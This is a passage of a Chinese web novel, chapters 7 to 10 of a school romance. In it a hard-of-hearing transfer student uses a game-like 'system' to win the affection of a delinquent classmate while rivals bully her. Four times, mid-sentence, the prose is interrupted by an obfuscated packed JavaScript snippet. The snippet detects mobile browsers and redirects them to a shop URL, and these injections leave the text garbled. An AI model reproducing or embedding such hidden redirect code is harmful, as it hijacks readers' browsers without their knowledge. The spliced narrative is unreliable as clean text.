李闻蝉勾了勾手,往里走去,池映雪赶紧跟上,果然在最里面靠窗的位置看见头发半白、系着丝巾的Stella。她想和李闻蝉道谢,还没有付诸行动,他就看向门外,阔步离开。 池映雪只好作罢。 突然想到,她好像总是在和李闻蝉道谢。 哎,也不知道什么时候能成为朋友? Stella有一定年纪,本身听力就不算好,池映雪走路轻手轻脚,她正顾着给面前的学生分析作文,根本没有注意到。先来后到,池映雪看了一眼表,也不急,就在一旁等着。 很快,这个同学看起来问完了,从老师身边的小板凳上起身离开,池映雪刚要上前,一个高大的身影就挤到她前面,把瘦小的她挡了个严严实实。 从前也是这样,她就像个透明人,形影单薄,没有声音,也发不了声音,总是被忽视。 不对。 那个高挑的男生问完Stella,趁着她还没有解答,偷偷转过头来得意又鄙夷地睨了池映雪一眼。他是故意的! 池映雪所在位置的斜对角线方向,办公室门口,李闻蝉递给找过来的穆雨阳一根棒棒糖。 “我刚去吃了个早点,回来后听他们说蝉哥你找我,出什么事了?” 穆雨阳接过糖,两眼放光,“蝉哥放心,您一声令下,小弟我一定赴汤蹈火、在所不辞!” 李闻蝉:“…………” “纪委平时在班上都管些什么?” “纪委,你说我吗?我就查查迟到旷课,管管课堂纪律……”穆雨阳看上去周正乖巧,此刻笑得贼眉鼠眼,“嗨,不过要是蝉哥您老人家在我们班,我肯定给你放水,水漫虹文山!” 哎呀,瞧他这脑子,他忘了蝉哥考不上! 李闻蝉忍无可忍地拍了下穆雨阳的后背:“别贫,问你话,传谣言、说闲话、霸凌同学,管不管?” 穆雨阳表情严肃起来:“这……谁啊?” 李闻蝉哼了一声:“你去宁世延那几个狗腿附近转一圈就知道了。” 穆雨阳陷入沉思,这不是池鲤鲤的舔狗么? “那我去打听下,霸凌同学肯定不行啊,你知道的蝉哥,我真受不了这个!等弄清楚了我就及时和老班反应……”穆雨阳停顿住,“蝉哥,你看那不就是宁世延?” 李闻蝉眸光流转,滞在宁世延身后的池映雪身上。 他个子高,站在门口也能大致望见最里面的情形。宁世延背过脸去看池映雪,不知做出了什么神情,反正池映雪面上不太好看。 李闻蝉见过她这幅样子,和他“抢”她手机时如出一辙,委屈,愤愤,受了欺负又讲不出口。 她也太软了,啧。 “蝉哥你去哪?蝉哥——” 穆雨阳在身后不解地问悠悠往办公室里面那侧踱去的李闻蝉。 忽然,李闻蝉停下脚步。 他看见宁世延回过头,心安理得地准备坐下,膝盖弯曲的过程中,他心目中正在受欺负的软包子抬头望了望天花板,然后一脸狡黠,伸出脚,把那个板凳往后勾。 李闻蝉顺着她刚才的视线仰视,天花板上有监控,正好拍不到Stella的工位。 “咚!!!” “噗。” 宁世延摔倒的巨响,池映雪没有听见,反而是不远处的嗤笑声很清晰。 她略有心虚地偏过头,果然看见李闻蝉趴在最外侧那个工位的隔断上,脸埋在臂膀中,笑吟吟地给她比了个大拇指。 池映雪忍不住朝他微微扬起下巴。 [叮!攻略对象好感+2。] [恭喜宿主解锁“攻略任务”功能,系统升级中…] ! 有5%了! 池映雪来不及雀跃,身前摔了个大屁股墩儿的男生就揉着身子爬起来,踹了一脚无辜的板凳,然后眉头一皱,恶狠狠地瞪向她。 Stella也看过来,池映雪没有理会宁世延,把报纸双手递给老师。 宁世延大吼:“老师,肯定是她在后面抽板凳害我摔倒的!” Stella浏览了一遍池映雪的英语报纸,眼底闪过满意的情绪,叠好后向她看去。 池映雪下意识站得更直。瘦弱文静的小姑娘单纯乖巧,一脸不知道发生了什么的样子。 Stella挥挥手让她先走。 “老师——” “行了,人家才转来,又是五班,压根不认识你,小同学,你别太刻薄。”Stella轻描淡写,毕竟众人皆知宁小少爷最爱找茬。 宁世延听完也看向池映雪,长得和池鲤鲤她“哥”像得很,是偏柔婉的长相,厚刘海看起来有点呆,人畜无害。 他陷入自我怀疑。 池映雪好像确实不可能认得他,难道真不是她干的? 宁世延只能呲牙咧嘴,偷偷揉了揉生疼的腰臀…… 李闻蝉在那边乐得不行。 该说不说,池映雪这张脸,真的很有迷惑性。 快上课了,池映雪赶紧跑下楼,李闻蝉在后面不紧不慢地走。最后任课老师进门时,她都在座位上找好课本了,他才哼着她没听过的小调回来。 别说,还有点好听。 池映雪这时刚好想起来,她去交报纸,李闻蝉没事跑到楼上去干嘛? 胡挚与她不谋而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635227|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合:“蝉哥,去哪了?” 李闻蝉拉开椅子,眉眼染笑,微扬嘴角。 “去观摩一下,小蘑菇偷偷干坏事。” 胡挚:? 这节课是物理。老师还在台上讲话,没开始板书,池映雪就先自习课本。 [升级完成!锵锵,宿主,请查看“攻略任务”!] 翻页的手停滞一瞬,池映雪看向只有她和系统可见的电子屏。 [任务面板: 1.得到男主的手机号码。 2.添加男主的社交账号。 3.肢体接触(至少5秒)x3。 4.互相投喂。 5.与男主牵手。] “添加社交账号”那行亮起,弹出“已完成”的字样,瞬间转换为“互发消息一周不间断”。 [现阶段共5个任务,每做完1个即可刷新任务内容。每个任务成功后,可解锁100字所在小说剧情或男主角人物小传,可叠加使用哦~] 系统好心提醒:[宿主,人物小传可以帮你更好的了解和攻略男主,小说剧情就是你之前看到的那样,只不过不是概括,是原文。不过请注意,解锁的文段时间线得和现实相对应,也就是说你现在是什么时候,就只能看小说里对应时间的这段剧情发展。] 池映雪:“那要是两边发展的不一样呢?” [当然会不太一样啦,你在原文里进……]系统强行撤回,[不一样就不一样,还是按照时间来。] 池映雪若有所思。 “进了一班,对么?” 系统:[!!!] [宿主,神了,你怎么知道!] 这样应该不算是它违规泄露吧? 池映雪想,要不是因为李闻蝉,她也不会在妈妈说要去一班的时候反对,要来他在的班啊。 “咳咳咳咳——”池映雪忽然被右侧猛烈的咳嗽声吓到。 “蝉哥,没事吧?”胡挚回头,先是担忧,又有点幸灾乐祸,“不是,怎么喝个水还能呛成这样?” 李闻蝉盖上保温杯的杯盖,边旋边清着嗓子,脸应该是因为被水呛到,红了个透,也难得没吭声,只是用眼神示意胡挚转回去。 他把保温杯放好,若有意若无意,抱着摊开的课本靠在墙上,正好斜着对向池映雪的位置,凝神盯着书本看,还翻了两次页。 池映雪原本就在看他,现在也没有收回目光。李闻蝉睫毛飞快闪了几下,抬起眼皮,对她歪了歪脑袋,扯开一个满不在乎的坏笑,用气声做口型:“看、什、么?” 池映雪也笑了,浅浅的,有点儿不太好意思。 李闻蝉看着她撕下一张便利贴,在正反两面都写了字,叠成小小的四方形放过来。他没及时拿起来,用大拇指和食指张开掩在唇上,另一只手的食指和中指不住地轻轻敲击桌面五秒左右,这才捻起便利贴,淡定闲适地打开。 「你书拿反了。」 李闻蝉很小幅度晃动的右腿一下子僵住。 他低下头,果不其然,反的。 “靠。” 李闻蝉不信邪,翻过来字更多的那一面。 「以及,这节是物理课。」 他再次低头。 好得很,生物书。 8. 第 8 章 中午,池映雪跟着万苏瑶、秋怡来到最近的一餐吃饭。 一餐有三层,一层就是像七中那样的打菜窗口,二层是独立的外包小店,顶层有自助和包间,基本上都是教师在用餐。 万苏瑶和秋怡在三个人的临时群聊里念叨了一晚上一餐二楼的老式拌饭,池映雪和她们点了一样的。 刚找地方坐下,隔壁那桌就发出嘻嘻哈哈的哄笑。 池映雪听不见,不妨碍她余光感受到毫无善意的视线,系统义愤填膺:[宿主,她们怎么吃个饭还这么多话!] 池映雪一边拌开颗粒分明的米饭,一边对它感慨:“难怪瑶瑶她们那么馋,你看这个蛋煎得多好,还是溏心的呢。” [宿主,你旁边那几个是池鲤鲤的小跟班,在一起嘲笑你这辈子恐怕第一次吃这么好的食堂呢。]系统试探道,[你就一点都不生气吗?]它都听生气了! 再看看旁边的万苏瑶几乎快要忍不住起身掀桌的怒火,系统释然了,就该这样呀! 池映雪很淡定:“她们说的再难听我也听不见呀。” 系统:[……额,你要这么说…………] 而且那几个人有一点没说错,这么好的食堂,她真是第一次吃,所以更不能被影响食欲。 池映雪埋起头吃饭,因为太好吃了,差点控制不住咀嚼的速度。这可不行,她得慢慢的,这样才能不发出任何声音,免得讨人嫌。 一旁的万苏瑶就没有这么淡然了,一把勺子在装饭的铁碗里捅来捅去。 秋怡:“你和碗有仇啊。” 万苏瑶咬牙切齿:“一班那几个人笑得和巫婆一样,不行,我真忍不了了!”说着就要起身。 秋怡身为班长,赶紧拦住她。 “你先别急,看人家小雪。” 万苏瑶掀起眼皮看对面。 池映雪小口小口扒着饭,很安静,万苏瑶这辈子都没见过吃个饭一点声响都没有的人,可她偏偏还吃得很香,像鼓起脸的小动物细细嚼动。 她那股火莫名就散了,甚至觉得有点饿。 她们这边都开始享受美味,一班的几个女生坐不住了。 蛐蛐了半天,说得口干舌燥,几乎一口饭都没好好吃,池映雪却闻风不动,一个眼神都没分过来。 嘲讽最起劲的人差点摔了筷子:“这算什么!对牛弹琴吗?” “我早就说她听不见,你怎么笑话也影响不到人家。”另一人开始指责,“不就是听邢芷说了几句坏话吗?为什么我们要来冲锋陷阵,她和池鲤鲤不满意可以自己当面diss。” “哎呀行了,说都说了,赶紧吃吧,一会儿数学午练我还没复习!” “我天我也是,老齐不会又点人上去吧……” 等到她们匆匆吃完回教室,因为一路奔跑胃里恶心,几个人一起去洗手间干呕。 池鲤鲤和邢芷正好路过,还递来嫌弃的眼神。 几人憋屈到没话说。 这个时候,池映雪正在食堂旁边的小卖部门口等另外两人买零食。 [宿主不买吗?我记得,宿主的妈妈给你校园卡里充了不少钱。] 池映雪摇摇头。 “我不喜欢吃零食。” 而且她大致看了一眼,里面的都是进口的高档货,她没有吃过。 莫名不想看见瑶瑶和班长发现这件事后的眼神。 “早上那个男生也是一班的。” 池映雪想起对方英语册上一瞥而过的姓名学号,“宁世延,一班的30号。刚才这些人也是,这次我没有进一班,他们怎么还会认得我?” [宿主不在,可是池鲤鲤在呀。虽然不想承认,但你身为小世界主角的对照组,肯定是和她绑定的。] 系统撺掇她,[以防万一,宿主要不要解锁最近的剧情?我估摸着虽然换了班,但这些人对你的方式和原文也不会有太大出入。] 池映雪好奇:“解锁的流程是什么,随机的吗?” [nonono,我会提供大纲里的节点名称,你挑一个解锁就好啦!] [让我看看,最近的节点有三个,分别是——] 池映雪面前弹出三个选项。 [A.真千金背后使坏害小哭包被哥哥误解。] [B.痴情公子哥惩罚真千金。] [C.小哭包数学午练发挥失常被安慰。] 池映雪:“……” “你不要告诉我,小哭包是池鲤鲤。” 池鲤鲤每天高贵得和天鹅一样,下巴永远昂起来,池映雪想象不出这样的人“哭包”,她看上去像让别人哭的。 系统扭捏:[万一她躲在被子里偷偷哭呢?] 池映雪不纠结这个问题,倒是对A选项有一闪而过的疑惑,哥哥误解池鲤鲤什么了呢? 但现在最重要的也不是这个。“痴情公子哥”很有可能就是那个宁世延,既然是惩罚,那必然不单单只是插个队、抢个座那么简单。 不在乎、听不见那些针对是真的,可不能坐以待毙也很重要。池映雪从小就知道,一味软弱只会让想欺负人的家伙变本加厉。 知己知彼才能掌握主动权,她现在只完成了一个任务,对应100个字的剧情,还不够。 回班后,池映雪拿出数学习题册,一页一页翻找。 这道不行,太简单。 这道也不行,过程复杂,但没有问的价值。 她挑选着一会儿要去办公室问班主任的题,教室前面几排有人将这幅模样尽收眼底,不屑笑道:“你们看,新来那个哑巴看的还挺认真!” “何骏你少说几句,让萌姐听到有的罚。” “萌姐什么时候中午来过教室?”何骏不以为意,“我就是说了又咋了,聋哑儿又听不见。” 他咧开嘴笑,前后摇着椅子,“哎,你们说她报了什么选修?要不报个声乐……” “砰!!!!” 椅子从后面被大力抽走,何骏摔的时候还带倒了桌上的书立,人仰马翻地痛叫。 他从地上扬起头,正要开喷,却被一双狭长冷淡的眼睛吓得支支吾吾。 “蝉蝉蝉蝉蝉哥………” 李闻蝉把椅子随手丢在地上,居高临下,神情倨傲地睥睨他。 嗯,某只蘑菇的办法还真不错。 池映雪被重物落地的声音吸引时,正好看见李闻蝉向下半蹲在一个不认识的同学面前,和那人视线持平,即便如此,也完全压制着对方。 他侧着脸,看不清神色,语气倒是关怀的:“没事吧,要我扶你么?” “对了。”李闻蝉随手捡起一根笔,转了两圈,抵在那名同学的嘴边。 “这张嘴好像有点烂了啊,同学,注意口腔护理。” 哇。 池映雪眼神一亮。 他还会关心同班同学的健康问题耶。 虽然李闻蝉这时看起来还是很凶,但她就说嘛,他是个热心肠、喜欢帮助同学的好人。 ——传闻里打人不眨眼的校霸,会不会是误会呢? 何骏当然不敢让这尊阴晴不定的阎王扶,自己颤颤巍巍地爬起来,再不敢说一句话。 李闻蝉回座位的时候,看见的就是池映雪亮晶晶的眼神。 李闻蝉:? 他别开眼,挠了挠后颈,轻咳两声坐下,坐前还确认了一下椅子被抓稳。 [叮!攻略对象好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635228|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感+1。] 空阔的教室后方,男生清嗓子的咳嗽声很明显,起码在池映雪耳中是这样。 她犹豫了一下,暂时合上课本,写小纸条递过去。 「你感冒了吗?」 要是感冒了,她就给他送药或者接热水喝,这算是互帮互助吧? [叮!攻略对象好感+0.5。] 很遗憾的,李闻蝉摇了摇头。 莫名其妙连着加了两次好感度,池映雪还是很开心的,回过身接着翻习题册,唇角好心情地勾起,身边像开起了小花那样散发愉快的氛围。 [叮!攻略对象好感+0.5。] ? 池映雪:这玩意是不是坏了? 不过嘛……她悄悄瞥了一眼午后休眠中的系统,小白团睡得很安详,看上去不知人间险恶。 池映雪眨了眨眼,把头埋得更低,装作若无其事的样子接着写题。 胡挚中午回家吃饭,现在才进教室,一来就看见他蝉哥靠在墙上,左手把玩一个皱皱巴巴的淡黄小纸团,低垂着眼,舌尖抵了一下腮,又露出一个无可奈何的笑。 “蝉哥,你咋了?” 李闻蝉啧了一声:“你不懂。” 胡挚:“……哈?” 李闻蝉把纸团随意往课桌下的抽屉里一丢,微微拧起眉,认真叹息:“忽然发现,我的魅力貌似有点大。” 胡挚:??? 情书都收那么多了,你是第一天知道这个事实吗? 天知道他和穆雨阳帮这人收拾那些粉红色信件的时候,有多么羡慕嫉妒! 池映雪这时总算找到了合适的题目,给徐静萌发了条消息就起身往办公室走去。 胡挚看见了,和李闻蝉感慨:“新同学真的太好学了,不是在做题就是去办公室问题的路上。” “我感觉我都不配和她坐在一个空间里学习。” 李闻蝉目光鄙夷:“你学吗?” 胡挚:“蝉哥,你最没资格说我。” “你说她这么认真学习,会不会成绩巨好,直接升去一班啊?” 李闻蝉起身接水的动作一顿,想了想认真点头,“是应该进的。” 徐静萌今天中午正好在办公室加班做表格,看见池映雪走近,递过去一份答案,在电脑上敲字。 「就在这里看吧,不懂的步骤圈出来,我帮你看看。」 「好,谢谢老师。」 徐静萌欣慰地笑了笑,转头接着做表。 电脑挂着的聊天软件忽然闪动,来信人是一班的班主任兼数学齐老师。 徐静萌看了一眼垂着脑袋研究答案的池映雪,喝了口水,背过身用手机查看消息。 池映雪的睫毛很轻地抖动了一下,手里捏着的答案从中微微拱起,泛起两道浅影。 班主任有每个学生的联系方式,记录在两张装订好的A4纸上,池映雪来报道的那天也填了。她是最后加的,李闻蝉就在她上面那一行,可惜她当时没有看他的电话号码。 趁徐静萌没有看她,池映雪屏息凝神地将视线投到不算整齐的办公桌上。 粉色水杯、粉色鼠标垫、粉色键盘、粉白相间的活页本、表格册、几沓卷子……找到了! 写着“高二(五)班学生联系表”的两张纸被压在数学卷子下,池映雪装模作样地摸出黑笔,把习题册和答案抵在办公桌上写写画画。 先在题干上划几条线,再写半个“解”,徐静萌不知道聊什么那么认真,还是没有看过来。 池映雪提起的心稍微放下一点,用习题册缓缓推开卷子堆,下面的纸暴露在空气中的面积越来越大。 她伸手捏住第一页的角角。 9. 第 9 章 徐静萌忽然站起来。 阴影一瞬间笼罩了池映雪,她紧紧闭起眼,抿住嘴憋气。 徐静萌:「映雪,老师有事出去一趟,你看完了把答案放桌上就行。」 池映雪感动得快哭了,也可能是吓的,她都分辨不出来了。 徐静萌走后,她腿有些软,眼疾手快地抽出A4纸扫了一眼,放回原位,火速离开。 [宿主,就那么一眼,你记住了吗?] 池映雪点头,现在就寄希望于李闻蝉填写的手机号码是他自己的。 她在心里报出一串数字,任务面板果然亮起来,获得男主联系方式那栏显示“已完成”,变为了新的任务:[和男主约会]。 现在有200字了,池映雪觉得差不多:“我想先用30字查看B节点的原文,定一下位。” 系统调出密密麻麻的页面,清一色的“X”,池映雪指向中间靠前的位置,清晰的印刷字体随之显露。 [……世延听得心一阵抽搐,该死,他不允许池鲤鲤受委屈!他灵机一动,……] 嗯? “灵机一动”,那后面跟的应该就是整她的思路了吧?今天的运气意外不错,池映雪于是放心地用了剩下170字接着解锁。 [他灵机一动,向小弟招手:“来,帮哥拍几张合照。” “和谁,鲤鲤姐吗?” 宁世延眼中划过似水柔情,刹那万里冰封:“不!”] [次日,鲤鲤在论坛上发现池映雪居然和宁世延关系亲密,还被拍下了暧昧的照片!她抬头,却正好对上宁世延复杂隐忍的红眼。 不久,齐老师叫走当事二人,鲤鲤听见宁世延在门外承认了照片,坦言池映雪先勾引他……她看见妈妈也来了,当下不安地噘起粉嫩的小嘴巴。] 池映雪收回眼,淡淡评价:“他这招还挺自损八百的。” 但确实有用。因为池映雪并不怎么看论坛,就算正好看见了,及时去澄清,这种一方自己都承认的流言也注定伴随她很久,她会变成一个刚靠关系塞进重点班就想着谈恋爱的人。 池映雪不禁想象剧情里的场景,宁世延说她勾引,老师和妈妈就在一旁站着,而她甚至不会知道他们在谈论什么,更何谈解释? [太可恶了!]系统义愤填膺,[宿主打算怎么办?] 怎么办?从今早的短暂接触来看,宁世延头脑不是特别灵光,池映雪猜这回如果对方要设计,还是会用类似的招数。 以前似乎也遇到过这样的时刻,应家小吃店和对面的馄饨店竞争,打的就是造谣式的口水战。 正好走到教室后门口,池映雪推开门,凉爽的气息扑面而来,和走廊上闷热的空气相对流动,一如看客最爱的风向调转。 池映雪感受着拂面的冷风,心中默念。 等。 南城的晚霞很漂亮,今天也不例外。 晚自习前,池映雪刚回到桌前,还没来得及坐下,就侧眸看见右前方窗外粉紫色的天空,她的视线被定格,静静地凝望着。 真好看呀。 右侧一组,穆雨阳跟胡挚坐在李闻蝉的位置,头挨着头打游戏。李闻蝉在前面一排,背靠窗户,无聊地翻着漫画书,忽然抬头盯了池映雪一眼,用漫画书挡住下半张脸,以及抿起的嘴唇。 胡挚被对面带走了,等待复活的时候抬头,正好看见李闻蝉微不可见地摇头。 他用膝盖撞了一下穆雨阳,悄声问:“你觉不觉得蝉哥最近小动作有点多?” 穆雨阳正在清兵线,已读乱回:“啊对,挺好笑的,哈哈哈。” 胡挚:……… [叮!攻略对象好感+0.5。] 听到好感播报,池映雪才回过神,不明所以地望向完全没在看她的李闻蝉,更加确信脑子里那玩意坏掉了。 她沾沾自喜地打算坐下,低头才发现不对。 ——她那么大一个椅子呢? 池映雪左看右看,把目光放在了穆雨阳身上,他坐的应该就是她的。 她上前戳了戳他。 纹丝不动。 池映雪瞬间就想到早上在Stella那里一模一样的待遇,她就这么没存在感嘛?于是先是有些挫败,又不服气地戳了戳。 胡挚还埋着头,穆雨阳忽然举起手机,嘴巴张开不知在叫什么,屏幕里挂着金色的“三连决胜”,吓得池映雪手指弹开。 李闻蝉:“穆雨阳。” 一听蝉哥的声音,穆雨阳一个激灵,瞬间送了人头:“在!” 李闻蝉把漫画书合上,在空气中往上扬两下:“起来。” 穆雨阳弹起身:? 李闻蝉示意他朝后看,穆雨阳回头,恰好和池映雪幽幽的目光对上。 穆雨阳:!!! 他知道池映雪的情况,赶紧放下手机,又是双手合十又是鞠躬。 池映雪笑着摇了摇头,拿回椅子,穆雨阳和胡挚互相踹了几下,一人坐在另一人腿上接着打。 池映雪瞥向前排重新看起漫画的李闻蝉,黑眸专注,神色淡淡,两条长腿在桌下舒展而自然地分开,其中一只脚伸到了最后一排座位的下面,和穆雨阳挨得很近。 就在这时,李闻蝉不知为何皱起眉,扭过头朝窗外看去,似乎在辨别和寻找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635229|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么。 池映雪心中一动,拿来纸笔写字给穆雨阳:「我能看一下你们打游戏吗?」 穆雨阳点头,池映雪眨了眨眼,稍微往前一点,垂下头看两个男生的手机屏幕,又很快偷掀起眼,看向李闻蝉的后脑勺。 系统的任务面板适时浮现出来:[肢体接触5秒x3](当前状态:进行中)。 池映雪探出脚,小心翼翼地往前伸…… 崭新的白色运动鞋轻轻贴上更大码的一只黑鞋。她分辨不出牌子,似乎在水群里见过有人讨论,叫什么“3XL”。 池映雪混乱地想着,双手相握贴在身后,心里面大喊着鼓气:就五秒!5!4!…… 李闻蝉还是没回头,却单手成拳抵在嘴角,一声轻咳又落进她耳朵。 池映雪:她就说他有点感冒吧。 ……2、1! 池映雪逃也似的收回脚,长长地呼出一口气,溜回座位。任务面板的灯闪了一下,显示本次接触完成。 右边的两人一局结束,胡挚随口道:“你刚过来的时候给蝉哥说‘办妥了’,啥意思啊?” “嗨。”穆雨阳看了一眼开始安静写题的池映雪,犹豫了一下,还是说出口,“就是宁世延他们几个人嘴贱,不知道为啥逮着转校生一个人开喷,我估摸着是觉得她威胁了池鲤鲤的地位,你也知道宁世延那个舔狗德行……” “蝉哥多正义啊!肯定看不惯这种事,早上亲自来找我。” 见胡挚赞同点头,穆雨阳说得越发起劲,“本纪委彻查一番,结果真发现这圈人到处散播闲话,还撺掇着大家一起欺负转校生,我就去找班主任汇报了。午练后齐哥把这几个嚼舌根的家伙统统叫出去,批了个狗血淋头,等回来后个个垂着脑袋,活该!” 胡挚有点不信:“你们班主任,齐幂?齐幂那个唯成绩论的精英男还会管这个?” 穆雨阳得意一笑:“所以啊,我给齐哥汇报这件事的时候重点强调了他们光盯着其他班同学造谣,不把心思放在学习上。而且今天不知怎么的,宁世延那个吊车尾就算了,那几个女生平时数学不错,结果说是胃里不舒服,午练做的一塌糊涂,给齐哥气坏了,那不得一顿骂?” “可以啊!”胡挚拍了拍他,“不愧是一班的大佬,睿智!” “对了,蝉哥你怎么知道——” 胡挚的话在嗓子眼里打了个弯,盯着刚回过头来的李闻蝉,面色古怪。 “蝉哥?” 胡挚的视线中,李闻蝉僵硬地回过头,单手捂嘴,瞳孔微缩,锐气的眉宇蹙起,却没有凌厉的意味。 “你耳朵怎么这么红?” 10. 第 10 章 晚上回家后,池映雪写完晚自习遗留的最后一门作业,伸了个懒腰,点开任务面板。 [1.和男主约会。 2.互发消息一周不间断。 3.肢体接触(至少5秒)x3。 4.互相投喂。 5.与男主牵手。] 这也太难了吧…… 池映雪把头埋进双臂里,挨个分析。 她自认没有和李闻蝉关系好到可以约出去玩的程度,任务1暂时可以放一边。3和5看上去有些重合,但对于短暂的肢体接触,她可以像今天这样打擦边球,牵手还是太亲密了。 有什么场合是可以清清白白手牵手的?幼儿园过马路? 池映雪突然想起什么,后知后觉地直起腰:“系统,为什么任务3判定我还有1次才算完成?” 系统查询了一下任务进程,回道:[没错呀,一次是今天,还有一次是你们在地铁站,他拉着你避开人群。] “我被他篮球砸晕那天,醒来后只有他一个人在房里,不是他扶着我过去的吗?”连5秒都没碰到吗? [不是的,那天你是被在旁边观赛的两个女生扶着过去的,男主他们跟在后面而已。] 池映雪:“这样啊。你还记得那两个女生是谁吗?我还没有感谢过人家呢。” 系统回忆了一下,惊讶道:[好巧啊宿主!就是你前面的那个女生和你们班班长!] 池映雪也觉得很巧,同时心里暖融融的。 经常有人说她运气差,明明学习很好却落得了这样的残障,明明出身优渥却被抱错到应家去,但池映雪没有怨天尤人过。 或许她的运气是不好,但在别的方面,她很幸运,在七中有苹安和裴景;来到虹文,从一开始就有瑶瑶、秋怡这样开朗自来熟的新好友。 还有李闻蝉,看上去冷凶冷凶,却意外是个大好人。池映雪想,就算没有系统需要她取得他的友善和认可,她也会想要试着和他当朋友。 池映雪重新坐直身子,双手拍了拍脸,拿起手机点开企鹅。 可惜任务没有早一点解锁,她上周是周六和李闻蝉聊的天,周天断开了,要想连续发一周还要重新开始。 池映雪翻了翻上面的聊天记录,计上心来。 「同桌,可以请你和我分享一下上周的美术鉴赏都讲了什么吗?」 半小时后,池映雪都做完一张数练的选填了,李闻蝉回复过来三个字:「我没去。」 好吧,这很李闻蝉。 今天的互发任务已经完成,她就没有再回复,放下手机前忽然收到苹安的消息。池映雪的好友很少,因此连备注都省下,许苹安的来讯显示正是她的网名。 池映雪和她聊着近况,眼睛弯弯地眯起来,忽然心中一动。 苹安很喜欢看小说,尤其是校园文,她记得,里面有很多类似李闻蝉这样的“校霸”男主。或许,她可以从这个角度入手了解他! 「苹安,你看的那些书里,校霸都是什么样的呀?」 「校霸?我想想嗷。」 「emm,首先要武力值高吧?打架斗殴很牛,叱咤风云,下面有一窝小弟,一口一个“老大”“X哥”。」 池映雪点头,李闻蝉有很多这类的传闻,他的肌肉……看上去也的确很能打。 再者,胡挚、学委他们在水群里提起他,就是叫的“蝉哥”。 「然后就是学习不好!十个校霸九个学渣,还有一个是我最讨厌的那种,啥也不学天天泡妹泡吧打群架结果还年级第一考清北的!」 许苹安的愤怒溢出屏幕,「这种作者到底有没有上过学啊!啊?!」 池映雪继续点头,没错,她也讨厌这种! 幸好李闻蝉不是,他成绩是真的差。 「then,校霸都很有范儿,就和bking似的,冷凶狠辣,天凉王破,堪称校园文里的霸总!」 池映雪三点头。 许苹安对此类男主进行重要模仿,「“你这女人,不,你这女学生居然该死的甜美!”」 池映雪:…… 点头暂停。 李闻蝉………还不至于,吧。 苹安果:「啊对了,还有最重要的一点!」 小雪:「是什么呀。」 苹安果:「校霸的霸!」 「所谓校霸,精髓就在这个“霸”上!翘课逃学不在话下,同学们退避三舍,老师校长唯唯诺诺,睥睨众生、傲视群雄、谁也不服!」 「当然啦,这种情况一般都有一个乖软小迷糊女主,校霸拳打师长脚踢同学谁也不服,就服她,多甜啊!」 池映雪:“……………” 这样看来,李闻蝉虽然上课睡觉、打游戏、书都拿错,时不时还翘两节,居然还是会来学校耶? 还有班主任罚他抄课文,他也乖乖抄了,没有一点苹安说的“校霸之风”。 他可真奇怪。 池映雪摇了摇头,索性不想,换了一个话题。 系统本来想和她讨论下午男主好感度的事,见状也没有去打扰。做完那个接触任务后,男主的好感度一个劲儿起伏,它第一次遇到这种情况没处理好,就先全屏蔽了。 不过不说也没什么事吧?毕竟最后算下来,好感度和浮动前一样。 翌日早,各班在操场集合准备跑操。 队伍按身高排列,池映雪瘦瘦小小,只有一米五几,站到了女生第一排。万苏瑶和秋怡个子都在165以上,隔了好多排和她脉脉相视。 然而队伍动起来后,跑着跑着,池映雪慢慢落到了最后面。幸好松散的队伍尾巴不止她一个人,有像她这样跑不动的,也有纯粹偷懒的。 胡挚就是懒散的那种,嬉皮笑脸地凑到本身就在队伍末尾的李闻蝉身边。 “蝉哥,我来陪你了!” 李闻蝉斜了他一眼,跑姿优雅,气都不带喘:“你最好是。” 正要收回目光,却在左前方意外看见一道纤弱熟悉的身影,李闻蝉眼里闪过笑意。 “才跑两步就沦落至此了?” “啊?蝉哥你说什么?” “没什么。” 晨间微灿的阳光下,池映雪的脸很苍白,薄薄的就像一片纸,眯起眼就能看见皮肉下泛着粉红的血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635230|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝。脸颊两侧,被汗水沾湿贴在皮肤上的凌乱发丝显得狼狈。 身体太差了。 队伍正好行进到靠近医务室所在楼宇的那方跑道,李闻蝉的脚步慢了一拍。 